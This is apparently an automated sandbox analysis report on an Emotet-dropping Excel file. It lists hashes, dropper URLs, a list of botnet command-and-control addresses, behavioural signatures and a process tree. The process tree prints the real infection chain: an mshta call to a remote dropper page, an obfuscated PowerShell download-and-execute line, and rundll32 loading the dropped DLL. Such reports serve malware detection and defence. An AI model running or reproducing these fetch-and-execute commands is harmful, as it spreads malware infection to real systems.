emotet | f085ccac2550f9dbcd5ab7863d82b4520d97efe9233fcea4742214e80a5e2538

Analysis

max time kernel
121s
max time network
153s
platform
windows10_x64
resource
win10-en-20211208
submitted
28/01/2022, 20:02

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General

Target
tmp77xe_shb.xls
Size 47KB
Sample220128-yr7twaccdk
SHA256 f085ccac2550f9dbcd5ab7863d82b4520d97efe9233fcea4742214e80a5e2538
MD5 c065c24218d47fbcd74ee2b6f370fd04
SHA1 be8469738ad42b79e58630ce9320f6d39adcd4c0
SHA512 cc5819555d3086456f2e1c5d86e3f2e01caf5dcb2be9501ca6c961f7391419660dfb658b4f66259b67652fe777a91da8f6a5fdcca35b6b5b3611365b1edfdcdd
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.172/mm/nn/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.172/mm/nn/se.png

Extracted

Family

emotet

Botnet

Epoch5

74.207.230.120:8080
139.196.72.155:8080
37.44.244.177:8080
37.59.209.141:8080
116.124.128.206:8080
217.182.143.207:443
54.37.228.122:443
203.153.216.46:443
168.197.250.14:80
207.148.81.119:8080
195.154.146.35:443
78.46.73.125:443
191.252.103.16:80
210.57.209.142:8080
185.168.130.138:443
142.4.219.173:8080
118.98.72.86:443
78.47.204.80:443
159.69.237.188:443
190.90.233.66:443
104.131.62.48:8080
62.171.178.147:8080
185.148.168.15:8080
54.38.242.185:443
198.199.98.78:8080
194.9.172.107:8080
85.214.67.203:8080
66.42.57.149:443
185.148.168.220:8080
103.41.204.169:8080
128.199.192.135:8080
195.77.239.39:8080
59.148.253.194:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2980	3540	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
31	4568	mshta.exe
34	5036	powershell.exe
36	5036	powershell.exe
42	4840	rundll32.exe
43	4840	rundll32.exe
44	4840	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1968	rundll32.exe
4796	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Lpdpxuh\nsslpxuuih.wti	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2092	4568	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3540	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
2092	WerFault.exe
2092	WerFault.exe
2092	WerFault.exe
2092	WerFault.exe
2092	WerFault.exe
2092	WerFault.exe
2092	WerFault.exe
2092	WerFault.exe
2092	WerFault.exe
2092	WerFault.exe
2092	WerFault.exe
2092	WerFault.exe
2092	WerFault.exe
2092	WerFault.exe
5036	powershell.exe
5036	powershell.exe
5036	powershell.exe
4840	rundll32.exe
4840	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2092	WerFault.exe
Token: SeDebugPrivilege	5036	powershell.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3540 wrote to memory of 2980	3540	EXCEL.EXE	71
PID 3540 wrote to memory of 2980	3540	EXCEL.EXE	71
PID 2980 wrote to memory of 4896	2980	cmd.exe	73
PID 2980 wrote to memory of 4896	2980	cmd.exe	73
PID 2980 wrote to memory of 4852	2980	cmd.exe	74
PID 2980 wrote to memory of 4852	2980	cmd.exe	74
PID 4852 wrote to memory of 4568	4852	cmd.exe	75
PID 4852 wrote to memory of 4568	4852	cmd.exe	75
PID 4568 wrote to memory of 5036	4568	mshta.exe	77
PID 4568 wrote to memory of 5036	4568	mshta.exe	77
PID 5036 wrote to memory of 1780	5036	powershell.exe	80
PID 5036 wrote to memory of 1780	5036	powershell.exe	80
PID 1780 wrote to memory of 1968	1780	cmd.exe	81
PID 1780 wrote to memory of 1968	1780	cmd.exe	81
PID 1780 wrote to memory of 1968	1780	cmd.exe	81
PID 1968 wrote to memory of 4796	1968	rundll32.exe	82
PID 1968 wrote to memory of 4796	1968	rundll32.exe	82
PID 1968 wrote to memory of 4796	1968	rundll32.exe	82
PID 4796 wrote to memory of 3840	4796	rundll32.exe	83
PID 4796 wrote to memory of 3840	4796	rundll32.exe	83
PID 4796 wrote to memory of 3840	4796	rundll32.exe	83
PID 3840 wrote to memory of 4840	3840	rundll32.exe	84
PID 3840 wrote to memory of 4840	3840	rundll32.exe	84
PID 3840 wrote to memory of 4840	3840	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp77xe_shb.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3540
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c set kiki=mshta http://91.240.118.172/mm/nn/se.html & echo %kiki% | cmd
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo %kiki% "
    3⤵
    PID:4896
- - C:\Windows\system32\cmd.exe
    cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4852
  - - C:\Windows\system32\mshta.exe
      mshta http://91.240.118.172/mm/nn/se.html
      4⤵
      Blocklisted process makes network request
      Suspicious use of WriteProcessMemory
      PID:4568
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({LOkoNOkoBoko}{LOkoNOkoBoko}Ne{LOkoNOkoBoko}{LOkoNOkoBoko}w{LOkoNOkoBoko}-Obj{LOkoNOkoBoko}ec{LOkoNOkoBoko}{LOkoNOkoBoko}t N{LOkoNOkoBoko}{LOkoNOkoBoko}et{LOkoNOkoBoko}.W{LOkoNOkoBoko}{LOkoNOkoBoko}e'.replace('{LOkoNOkoBoko}', ''); $c4='bC{LOkoNOkoBoko}li{LOkoNOkoBoko}{LOkoNOkoBoko}en{LOkoNOkoBoko}{LOkoNOkoBoko}t).D{LOkoNOkoBoko}{LOkoNOkoBoko}ow{LOkoNOkoBoko}{LOkoNOkoBoko}nl{LOkoNOkoBoko}{LOkoNOkoBoko}{LOkoNOkoBoko}o'.replace('{LOkoNOkoBoko}', ''); $c3='ad{LOkoNOkoBoko}{LOkoNOkoBoko}St{LOkoNOkoBoko}rin{LOkoNOkoBoko}{LOkoNOkoBoko}g{LOkoNOkoBoko}(''ht{LOkoNOkoBoko}tp{LOkoNOkoBoko}://91.240.118.172/mm/nn/se.png'')'.replace('{LOkoNOkoBoko}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5036
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1780
        
        C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        7⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1968
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer
        8⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:4796
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lpdpxuh\nsslpxuuih.wti",lZjGFTgKy
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:3840
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Lpdpxuh\nsslpxuuih.wti",DllRegisterServer
        10⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:4840
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4568 -s 1668
        5⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2092

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1968-331-0x00000000028B0000-0x00000000028D7000-memory.dmp

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memory/3540-384-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

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memory/3540-131-0x00007FFBCBCE0000-0x00007FFBCBCF0000-memory.dmp

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memory/3540-132-0x00007FFBCBCE0000-0x00007FFBCBCF0000-memory.dmp

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memory/3540-385-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

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memory/3540-124-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

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memory/3540-383-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

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memory/3540-382-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

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memory/3540-118-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

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memory/3540-121-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

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memory/3540-120-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

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memory/3540-119-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

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memory/3840-348-0x00000000041F0000-0x0000000004217000-memory.dmp

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memory/4796-345-0x0000000005620000-0x0000000005647000-memory.dmp

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memory/4796-334-0x0000000004CF0000-0x0000000004D17000-memory.dmp

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memory/4796-337-0x0000000005220000-0x0000000005247000-memory.dmp

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memory/4796-339-0x0000000005300000-0x0000000005327000-memory.dmp

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memory/4796-341-0x0000000005460000-0x0000000005487000-memory.dmp

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memory/4796-347-0x00000000057A0000-0x00000000057C7000-memory.dmp

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memory/4840-350-0x0000000004950000-0x0000000004977000-memory.dmp

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memory/5036-324-0x0000019739BA6000-0x0000019739BA8000-memory.dmp

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memory/5036-322-0x0000019739BA3000-0x0000019739BA5000-memory.dmp

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memory/5036-320-0x0000019739BA0000-0x0000019739BA2000-memory.dmp

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memory/5036-317-0x000001973A4A0000-0x000001973A516000-memory.dmp

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memory/5036-305-0x0000019739EF0000-0x0000019739F2C000-memory.dmp

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memory/5036-286-0x0000019739D60000-0x0000019739D82000-memory.dmp

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